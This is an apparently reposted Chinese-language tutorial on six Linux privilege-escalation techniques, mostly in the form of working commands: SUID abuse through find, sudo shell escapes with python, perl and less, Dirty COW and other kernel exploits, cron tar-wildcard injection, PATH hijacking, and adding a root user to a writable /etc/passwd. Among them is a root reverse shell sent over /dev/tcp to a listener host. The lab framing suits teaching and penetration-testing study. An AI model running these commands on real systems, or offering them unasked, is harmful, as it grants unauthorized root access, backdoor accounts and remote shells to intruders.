Linux常用六种提权方式

Linux常用六种提权方式SUID 设置用户 ID 是赋予文件的一种权限 它会出现在文件拥有者权限的执行位上 具有这种权限的文件会在其执行时 使调用者暂时获得该文件拥有者的权限

大家好,欢迎来到IT知识分享网。

一、SUID提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

原理:

SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:

(A)Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

(B)Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

(C)Saved UID:在高权限用户降权后,保留的UID。

如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权。

命令:find / -perm -4000 -type f 2>/dev/null find / -perm -u=s

-perm -4000:查找权限为“4000”的文件,其中“4000”是表示suid权限的数字。

-type f:查找类型为文件的结果,而不是目录或其他类型的文件。

find / -perm -4000 -type f -exec ls -l {} \;:这个命令与第一个命令类似,但使用了-exec选项,它将在查找到具有suid权限的文件后,执行一个ls -l命令,以查看这些文件的详细信息。在-exec选项中,{}表示查找到的每个文件的名称,\;表示命令结束的标记。

1.环境搭建

查看find位置

which find

查看find权限

 ls -alh /usr/bin/find

Linux常用六种提权方式

查找具有suid权限的文件,发现没有find文件

find / -perm -u=s -type f 2>/dev/null

Linux常用六种提权方式

切换到root用户,赋予find文件suid权限

chmod u+s /usr/bin/find

Linux常用六种提权方式

2.提权

再次使用find命令查看具有suid权限的文件,发现有find文件

find / -perm -u=s -type f 2>/dev/null

Linux常用六种提权方式

使用find命令提权,发现是用root权限执行的whoami命令

find `which find` -exec whoami \;

find `which find` -exec ls \;

find `which find` -exec cat /etc/passwd \;

Linux常用六种提权方式

3.反弹shell

打开kali,使用nc监听6666

nc -lvvnp 6666

Linux常用六种提权方式

执行反弹shell命令

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.0.129/6666 0>&1 \;

Linux常用六种提权方式

反弹shell成功,并且是root用户的权限

Linux常用六种提权方式

二、sudo提权

普通用户一般无法使用root用户命令,使用sudo命令可以让普通用户拥有root权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对sudoer文件进行不合理的配置,使普通用户不需要输入密码就可以使用sudo命令,从而导致权限提升的问题产生。

1.python语言提权

1.1 环境搭建

创建一个普通用户user1

Linux常用六种提权方式

vim /etc/sudoers,添加以下语句,使得用sudo执行python命令时不需要密码

Linux常用六种提权方式

切换到普通用户查看

Linux常用六种提权方式

1.2 提权

此时我们就可以利用python命令进行提权了

提权命令如下:

sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’

Linux常用六种提权方式

利用python语言提权成功

2.利用perl语言提权

2.1 环境搭建

Linux常用六种提权方式

2.2 提权

sudo perl -e ‘exec “/bin/bash”;’

Linux常用六种提权方式

3.利用less命令提权 

通过命令 “sudo less 文件” 提权

sudo less /etc/hosts

在弹出的页面输入!bash,按下回车键

Linux常用六种提权方式

提权成功

Linux常用六种提权方式

三、内核漏洞提权

利用内核漏洞提取一般三个环节:首先对目标系统进行信息收集,获取系统内核信息及版本信息

第二步,根据内核版本获取对应的漏洞以及exp

第三步,使用exp对目标进行攻击,完成提权

脏牛内核漏洞提权的原理:

在Linux内核的内存子系统处理私有只读内存映射的写时复制损坏的方式中发现了一种竞争状况,一个没有特权的本地用户可以利用此漏洞获取对只读存储器映射的写访问权,从而增加他在系统上的特权

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,所以有可能进一步导致提权漏洞。

1.常规内核提权

查看linux内核版本:

uname -a

 Linux常用六种提权方式

使用searchsploit搜索对应exp,并下载c文件进行编译: 

searchsploit ubuntu 4.4.0searchsploit -m linux/local/45010.cgcc 45010.c -o 45010 #编译

Linux常用六种提权方式

在meterpreter下将编译好的exp上传到目标tmp目录下,赋予执行权限,可以看到执行后变为root权限:

Linux常用六种提权方式 Linux常用六种提权方式

2.脏牛提权

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

uname -a #查看内核版本cd CVE-2016-5195-master/make #编译生成可执行文件./dcow -s #执行exp,成功返回root shell

Linux常用六种提权方式

四、Cronjobs提权

1. 通配符提权

1.1 环境搭建

vim /etc/crontab,为root用户添加一个计划任务

Linux常用六种提权方式

并进入/usr/local/bin目录下,vim test2.sh ,添加以下命令

Linux常用六种提权方式

赋予test2.sh执行权限

Linux常用六种提权方式

查看计划任务是否设置成功

Linux常用六种提权方式

1.2 提权

查看定时任务,发现一个以root权限执行的任务test2.sh,查看test2.sh,发现任务的工作为每分钟执行将/home/ubuntu下的所有内容打包为backup.tar.gz并放置在/tmp目录下(通配符*代表目录下的所有文件)。

cat /etc/crontab #查看定时任务

Linux常用六种提权方式

在/home/ubuntu目录下创建三个文件: 

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh echo "" > --checkpoint=1 echo "" > "--checkpoint-action=exec=sh test.sh"

Linux常用六种提权方式

Linux常用六种提权方式

当定时任务触发后,使用了通配符*对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh时相当于执行如下命令:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而–checkpoint和–checkpoint-action正好时tar的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh为执行test.sh文件,test.sh文件内容为复制bash到tmp目录并赋予suid,即可达到提权的目的:

Linux常用六种提权方式

Linux常用六种提权方式

据说相似的命令还有chown、chmod、rsync等。

2.文件重写提权

由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。

普通用户查看定时任务,发现datetest.sh为777权限而且为root用户:

Linux常用六种提权方式

Linux常用六种提权方式

普通用户可在datetest.sh中写入命令,将bash复制到tmp并赋予suid:

"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh

执行获取root权限:

Linux常用六种提权方式

Linux常用六种提权方式

五、环境变量提权

PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。

echo $PATH #查看环境变量

Linux常用六种提权方式

实验演示:

假设管理员用户在/home/test目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置:

Linux常用六种提权方式

gcc demo.c -o demo #编译chomod u+s demo #赋予suid

Linux常用六种提权方式

执行demo文件即执行cat /etc/shadow命令:

Linux常用六种提权方式

现在有一个攻击者拿到普通用户权限,首先执行如下命令查找具有suid的文件,发现demo:

find / -perm -u=s -type f 2>/dev/null

普通用户执行demo文件:

Linux常用六种提权方式

接下来劫持环境变量进行提权:

cd /tmpecho "/bin/bash" > cat #创建名为cat的文件,内容为/bin/bashcat catchmod 777 cat #赋予777权限export PATH=/tmp:$PATH #将tmp目录添加环境变量echo $PATH

Linux常用六种提权方式

最后执行demo,在执行cat命令时,从环境变量中查找,按查找顺序优先查找/tmp目录,而/tmp目录下的cat内容为/bin/bash,所以执行的命令从cat /etc/shadow就变成了/bin/bash /etc/shadow,从而达到提权的目的。

Linux常用六种提权方式

六、/etc/passwd 提权

1.环境搭建

给/etc/passwd文件赋予读写权限

Linux常用六种提权方式

2.提权

使用perl语言生成密码盐值

perl -le ‘print crypt(“password@123”, “addedsalt”)’

将用户名和密码写入/etc/passwd文件中

echo “test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash” >>/etc/passwd

登录test用户,输入密码password@123,成功提权

Linux常用六种提权方式

其他生成密码盐值的方法:

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/118480.html

(0)
上一篇 2025-11-12 20:15
下一篇 2025-11-12 20:20

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信